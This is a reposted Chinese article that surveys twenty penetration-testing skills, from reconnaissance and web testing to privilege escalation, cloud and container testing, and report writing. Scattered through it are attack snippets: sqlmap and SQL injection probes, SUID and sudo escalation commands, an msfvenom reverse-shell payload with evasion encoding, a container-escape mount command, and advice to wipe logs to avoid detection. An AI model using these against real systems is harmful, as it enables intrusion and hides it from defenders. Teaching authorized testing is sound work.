文章总结： 文档介绍了渗透测试工程师所需的20个核心技能，覆盖从信息收集到报告输出的全流程。这些技能包括信息收集与侦察、Web应用渗透、网络与系统层渗透、编程与脚本开发、漏洞研究与利用、移动应用测试、云安全与容器安全以及安全评估与报告撰写。文章详细阐述了每个技能点的实践方法和工具使用，为渗透测试从业者提供了全面的技术指导，同时也强调了合规性和专业报告撰写的重要性。
综合评分： 89
文章分类： 渗透测试,WEB安全,网络安全,移动安全,云安全
20 个渗透测试核心技能曝光！每一个都值得写进简历，新手也能快速上手！
原创
牛叫瘦
HACK之道
2025年11月11日 08:00
重庆
渗透测试工程师作为 “白帽黑客”，通过模拟攻击者视角挖掘系统漏洞，是守护网络安全的核心力量。以下 20 个核心技能，不仅是从业者完成工作的必备能力，更是简历中吸引企业 HR 的关键亮点，覆盖从信息收集到报告输出的全流程。
一、信息收集与侦察技能
（一）主动 / 被动信息收集精通
信息收集是渗透测试的起点，直接决定后续测试方向的准确性。被动收集需熟练运用公开情报源，比如通过 WHOIS 查询域名注册信息（含联系人、注册时间）、DNS 解析记录（A 记录、MX 记录）获取服务器 IP；借助 Google Hacking 语法（如 “site:target.com filetype:pdf”）挖掘目标公开文档、后台地址。主动收集则需在授权范围内，通过 ping、traceroute 测试目标网络连通性，最终整合所有信息，构建目标的网络拓扑、资产清单（如 Web 服务器、移动端应用）及人员信息（如员工邮箱），形成完整的目标画像。
（二）网络扫描与端口服务识别
端口和服务是系统与外界交互的 “窗口”，也是漏洞的高发区。需熟练操作 Nmap、Masscan 等主流扫描工具：Masscan 适合大规模网段的快速扫描（如 10 分钟扫完全网），适合初步定位存活主机；Nmap 则支持精细化扫描，比如用 “-sS” 半开扫描（不建立完整 TCP 连接，降低被检测概率）、“-p 1-65535” 全端口扫描，精准识别开放端口及对应服务（如 80 端口对应 HTTP、3389 端口对应 RDP）。同时要能根据场景选择策略，比如对防护严格的目标，需降低扫描频率、拆分扫描网段，避免触发 IDS/IPS 告警。
（三）Web 应用指纹识别与架构分析
Web 应用的技术栈直接关联潜在漏洞类型，比如使用 ThinkPHP 框架可能存在远程代码执行漏洞，用 MySQL 数据库需关注 SQL 注入风险。需借助 Wappalyzer（浏览器插件）、WhatWeb（命令行工具）识别服务器类型（如 Nginx、Apache）、后端框架（如 SpringBoot、Django）、数据库（如 MySQL、MongoDB）及前端技术（如 Vue、React）。同时要结合手动分析，比如查看 HTTP 响应头的 “Server” 字段、页面源码中的框架版本注释，进一步确认技术栈细节，为后续漏洞挖掘划定范围。
二、Web 应用渗透测试技能
（一）OWASP Top 10 漏洞深度理解与实战利用
OWASP Top 10 是 Web 应用漏洞的 “风向标”，包含 SQL 注入、跨站脚本（XSS）、文件上传等高频漏洞。需深入理解漏洞原理：比如 SQL 注入是因用户输入未过滤，导致恶意 SQL 语句被执行；XSS 是因前端未对用户输入转义，导致恶意脚本在浏览器运行。实战中要能手动检测，比如在输入框输入 “’ and 1=1–” 判断是否存在 SQL 注入；用 sqlmap 工具（如 “sqlmap -u “url” –dbs”）自动化提取数据库信息；对 XSS 漏洞，需区分存储型（注入脚本存入数据库，影响所有访问者）和反射型（脚本仅在当前请求生效），并验证漏洞的可利用性（如获取 Cookie、执行钓鱼操作）。
（二）Burp Suite / OWASP ZAP 高级应用
Burp Suite 是 Web 渗透的 “瑞士军刀”，需熟练掌握核心模块：代理（Proxy）用于拦截 HTTP/HTTPS 请求，查看请求包细节； Intruder 用于批量爆破（如登录密码、API 密钥），支持字典模式、集群炸弹模式；Repeater 用于重复发送请求，微调参数测试漏洞（如修改权限 ID 判断是否越权）。同时要会安装配置插件，比如 Active Scan++ 增强自动化扫描能力、J2EEScan 针对 Java 应用漏洞检测；能自定义扫描规则，比如添加特定参数的注入检测逻辑，提升测试效率。OWASP ZAP 作为开源替代工具，需掌握其主动扫描、被动扫描配置，适合预算有限的场景。
（三）现代 Web API 渗透测试能力
随着前后端分离架构普及，API 成为 Web 应用的核心交互方式，常见的有 RESTful API（基于 HTTP 方法，如 GET 获取、POST 提交）和 GraphQL API（按需返回数据，单端点多查询）。测试中需先枚举端点，通过查看 API 文档（如 Swagger）、抓包分析请求（如拦截前端调用 API 的请求），梳理所有接口及参数。重点测试身份认证（如 Token 是否过期、是否可伪造）、权限控制（如普通用户能否访问管理员接口）、参数验证（如传入特殊字符是否触发注入漏洞），比如修改 API 请求中的 “user_id” 参数，判断是否能查看其他用户数据。
（四）前端安全漏洞挖掘
现代前端框架（Vue、React）虽降低了部分漏洞风险，但仍存在特定安全问题。需熟悉框架特性：比如 Vue 的 “v-text” 指令会转义输入，可避免 XSS，但 “v-html” 会渲染 HTML，可能引入存储型 XSS；React 的 JSX 语法默认转义，但使用 “dangerouslySetInnerHTML” 会关闭转义。同时要关注前端逻辑漏洞，比如登录页面的 “记住密码” 功能是否明文存储密码、分页功能是否可通过修改 “page” 参数越权查看所有数据；挖掘 DOM 型 XSS（因 DOM 操作导致的 XSS，如通过 URL 参数控制页面元素内容），需结合浏览器开发者工具，分析 JavaScript 代码对用户输入的处理逻辑。
（五）内容安全策略审计与绕过
内容安全策略（CSP）是 Web 应用的 “防护盾”，通过 HTTP 响应头指定允许加载的资源来源（如脚本、图片），限制恶意脚本执行。审计时需查看响应头的 “Content-Security-Policy” 字段，判断是否存在配置缺陷，比如允许 “*”（任意域名）加载脚本，或未限制 “inline-script”（内联脚本），导致 CSP 失效。同时要掌握常见绕过技巧，比如利用 CSP 中未限制的可信域名（如信任 “cdn.target.com”，但该域名存在文件上传漏洞，可上传恶意脚本）、通过数据 URI（如 “data:text/javascript;base64,…”）执行内联脚本，验证 CSP 的实际防护效果。
三、网络与系统层渗透技能
（一）常见服务漏洞利用
服务器的开放服务（SMB、RDP、FTP）是网络渗透的重要入口，需熟悉高频漏洞：比如 SMB 服务的 “永恒之蓝” 漏洞（MS17-010），可通过发送特定数据包触发缓冲区溢出，获取系统权限；RDP 服务的 “BlueKeep” 漏洞（CVE-2019-0708），无需认证即可远程执行代码。实战中要能手动构造 payload，比如用 Python 编写永恒之蓝漏洞利用脚本，或从 Exploit-DB（漏洞利用库）下载成熟 exp，同时需注意漏洞版本匹配，比如永恒之蓝仅影响 Windows 7、Windows Server 2008 等旧系统，需先确认目标系统版本再尝试利用。
（二）提权技术（Linux/Windows）
获取低权限账户后，提权是获取系统控制权的关键。Windows 系统中，需掌握经典提权手段：比如 “烂土豆”（Rotten Potato）提权，利用 COM 对象劫持，将低权限用户提升为 SYSTEM 权限；UAC 绕过（如通过 “cmd.exe/k % windir%\system32\reg.exe ADD …” 修改注册表，绕过用户账户控制）。Linux 系统中，常见提权路径包括 SUID 提权（寻找具有 SUID 权限的可执行文件，如 “find /-perm -u=s -type f 2>/dev/null”，利用其特性执行命令）、sudo 配置缺陷（如 “sudo -l” 查看允许无密码执行的命令，若包含 “/bin/bash”，则可 “sudo bash” 提权）。提权后需理解根本原因，比如权限配置错误（管理员误给普通用户赋予高权限）、系统漏洞（如内核漏洞导致权限溢出），为后续修复提供依据。
（三）密码攻击技术
密码是系统防护的 “第一道门”，密码攻击需在授权范围内进行。首先要能识别常见哈希格式：比如 Windows 系统的 NTLM 哈希（存储在 SAM 文件中）、Linux 系统的 SHA-256 哈希（存储在 /etc/shadow 文件中）。然后用专业工具破解：John the Ripper 适合简单哈希破解，支持多格式；Hashcat 则支持 GPU 加速，适合复杂哈希（如带盐值的 SHA-256），可结合字典（如 rockyou.txt）、掩码策略（如 “?d?d?d?d” 匹配 4 位数字密码）提升破解成功率。同时要注意合规性，需提前获取客户授权，避免触犯法律。
（四）内网渗透基础
突破外网后，内网渗透的目标是横向移动（获取更多主机权限）和纵向深入（控制核心服务器）。需掌握关键技术：ARP 欺骗（发送伪造 ARP 数据包，让目标将攻击者主机当作网关，拦截内网流量）、ICMP 隧道（将内网数据封装在 ICMP 数据包中，突破防火墙限制，实现外网与内网通信）。工具方面，Cobalt Strike 适合团队协作，支持生成后门、管理会话、横向移动（如通过 Psexec 远程执行命令）；Metasploit（MSF）则适合漏洞利用，比如用 “exploit/windows/smb/psexec” 模块通过 SMB 服务获取目标主机权限。同时要注意隐藏痕迹，比如清理日志（Windows 清理 “Security” 日志、Linux 清理 “/var/log/auth.log”），避免被内网安全设备发现。
四、编程与脚本技能
（一）Python 编程基础与渗透测试脚本开发
Python 因语法简洁、库丰富，成为渗透测试的首选语言。需掌握基础语法（变量、循环、条件判断），并能结合库开发实用脚本：比如用 requests 库编写 HTTP 请求脚本，批量检测目标网站是否存在 SQL 注入（循环发送测试 payload，判断响应是否异常）；用 socket 库编写端口扫描脚本，实现对指定网段的端口存活检测；用 BeautifulSoup 库解析 HTML 页面，提取页面中的链接、表单信息。脚本开发能大幅提升效率，比如手动测试 100 个网站需数小时，用脚本可在几分钟内完成，同时能应对工具无法覆盖的场景（如自定义漏洞检测逻辑）。
（二）其他编程语言与脚本语言的辅助作用
除 Python 外，其他语言在特定场景下不可或缺。PHP 适合编写 Web 后门（如一句话木马 “”），方便后续维持对 Web 服务器的控制；Shell 脚本（Bash）适合 Linux 环境下的批量操作，比如编写脚本批量检查服务器的 SUID 文件、清理临时日志。同时需了解 Java、C#：Java 用于分析 Java 反序列化漏洞（如 Log4j 漏洞），需能阅读 Java 源码、理解序列化机制；C# 适合开发 Windows 平台的漏洞利用工具（如内存马），需熟悉.NET 框架特性。这些语言无需精通，但需能读懂代码、编写简单脚本，应对不同渗透场景。
五、漏洞研究与利用技能
（一）0day 漏洞研究与挖掘
0day 漏洞（未公开的漏洞）具有极高价值，能突破现有防护体系。需养成跟踪漏洞动态的习惯，关注 CVE Details（CVE 编号查询平台）、NVD（国家漏洞数据库）及安全厂商博客（如奇安信、火绒），及时获取 0day 漏洞的原理分析（如漏洞触发条件、影响版本）。同时要掌握基础挖掘方法，比如用 Fuzz 工具（AFL、LibFuzzer）对目标程序进行模糊测试，通过输入大量畸形数据，触发程序崩溃，进而定位漏洞；对 Web 应用，可通过代码审计（阅读开源项目源码）寻找逻辑漏洞（如权限校验缺失）。0day 漏洞挖掘难度大，但能显著提升渗透测试的成功率，尤其针对防护严密的目标。
（二）漏洞利用框架的高级使用
漏洞利用框架能简化漏洞利用流程，Metasploit 是最常用的框架。需掌握高级功能：自定义 payload（如用 msfvenom 生成免杀 payload，避免被杀毒软件检测，如 “msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -e x86/shikata_ga_nai -f exe -o payload.exe”）；开发自定义模块（如针对新型漏洞，编写符合 Metasploit 规范的 exploit 模块，实现一键利用）。同时要能结合漏洞原理修改现有 exp，比如目标系统版本与 exp 适配版本略有差异，需调整 exp 中的内存地址、指令序列，确保漏洞利用成功。框架的高级使用能提升漏洞利用的灵活性，应对复杂的目标环境。
六、移动应用渗透测试技能
（一）Android 应用渗透测试要点
Android 应用的漏洞多源于代码逻辑缺陷和配置不当。需掌握基础工具链：用 Apktool 反编译 APK 文件（“apktool d app.apk”），获取应用的资源文件、smali 代码；用 JD-GUI（或 Fernflower）将 smali 代码转为 Java 源码，便于阅读逻辑；用 Android Studio 搭建调试环境，断点调试跟踪代码执行流程。测试重点包括：本地存储安全（如 SharedPreferences 是否明文存储密码、数据库文件是否未加密）、通信安全（如 HTTP 传输是否未加密，导致数据被窃听）、组件安全（如 Activity、Service 是否暴露，允许第三方应用调用）。比如发现应用的 Activity 未设置 “exported=false”，可编写测试应用调用该 Activity，越权获取数据。
（二）iOS 应用渗透测试要点
iOS 系统因封闭性，渗透测试需特定环境和工具。首先要搭建越狱环境（如用 unc0ver 工具越狱 iPhone），获取系统 root 权限；用 class-dump 工具（“class-dump -H app.ipa -o output”）提取应用的头文件，分析类结构和方法；用 Cycript（动态注入工具）在应用运行时查看内存数据、调用方法。测试重点关注：沙箱机制（应用是否突破沙箱限制，访问其他应用数据）、钥匙串存储（敏感信息如 Token 是否存入钥匙串，且未设置正确的访问权限）、权限滥用（如应用未申请相机权限却能调用相机）。同时要注意 iOS 版本差异，比如 iOS 14 后加强了隐私保护，部分旧漏洞（如沙箱逃逸）可能失效，需适配最新系统特性。
七、云安全与容器安全渗透技能
（一）云平台渗透测试（如 AWS、Azure 等）
云平台的漏洞多集中在配置不当和权限管理缺陷，需熟悉主流云平台架构：AWS 的 S3 存储桶（用于存储文件）、EC2 实例（云服务器）、IAM（身份访问管理）；Azure 的 Blob 存储、虚拟机、AD（活动目录）。测试重点包括：存储桶安全（如 S3 存储桶是否设置公开访问权限，导致数据泄露，可通过 “aws s3 ls s3://bucket-name” 测试访问权限）、IAM 权限（如用户是否被赋予过多权限，可通过 “aws iam list-attached-user-policies –user-name username” 查看权限）、实例安全组（是否开放不必要的端口，如 3389、22）。同时要注意云平台的共享责任模型，明确客户和云厂商的安全责任，避免测试范围超出客户权限。
（二）容器安全渗透测试（如 Docker、Kubernetes）
容器技术的普及带来了新的安全风险，需理解容器原理：Docker 通过 Namespace 实现资源隔离、Cgroups 限制资源使用；Kubernetes 用于管理容器集群，包含 API Server、Controller Manager 等组件。测试重点包括：Docker 安全（如容器是否以 privileged 模式运行，允许容器逃逸到宿主机；镜像是否包含漏洞，可通过 Trivy 工具扫描镜像漏洞）、Kubernetes 安全（如 API Server 是否未授权访问，可通过 “kubectl get pods” 测试是否能匿名获取集群信息；配置文件是否泄露敏感信息，如 “kubeconfig” 文件包含集群访问凭证）。比如发现 privileged 模式运行的 Docker 容器，可在容器内执行 “mount /dev/sda1 /mnt”，挂载宿主机磁盘，实现容器逃逸。
八、安全评估与报告撰写技能
（一）安全评估方法与流程
安全评估需遵循标准化流程，确保测试全面、可控。首先要明确需求：与客户沟通测试范围（如单个 Web 应用、整个内网）、测试类型（黑盒、白盒、灰盒）、时间周期；然后进行资产梳理，通过信息收集列出所有待测试资产，并按重要性分级（如核心数据库为一级资产、普通办公电脑为三级资产）；接着开展漏洞测试，按 “信息收集→漏洞挖掘→漏洞验证→权限提升” 的流程执行，记录每个漏洞的细节；最后进行风险分析，用定性（如高、中、低风险）或定量（如计算风险值 = 漏洞概率 × 影响程度）方法评估漏洞风险，确定修复优先级。
（二）高质量渗透测试报告撰写
报告是渗透测试的 “成果交付物”，需兼顾专业性和易懂性。结构需清晰：开头为测试概述（范围、方法、周期），中间为漏洞详情（每个漏洞需包含危害等级、影响资产、复现步骤、证明截图），结尾为修复建议（具体、可落地，如 “将 MySQL 数据库版本升级至 8.0，修复 SQL 注入漏洞”）和风险总结。内容需精准：复现步骤要详细，确保客户能按步骤重现漏洞；危害描述要客观，避免夸大（如 “该 SQL 注入漏洞可能导致数据库数据被窃取”，而非 “会导致企业破产”）。同时要考虑读者群体，对技术人员需提供漏洞原理、代码级修复建议；对非技术人员（如管理层）需用通俗语言解释漏洞影响（如 “该漏洞可能导致客户信息泄露，违反《网络安全法》”），帮助其理解修复的必要性。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：HACK之道 牛叫瘦《20 个渗透测试核心技能曝光！每一个都值得写进简历，新手也能快速上手！》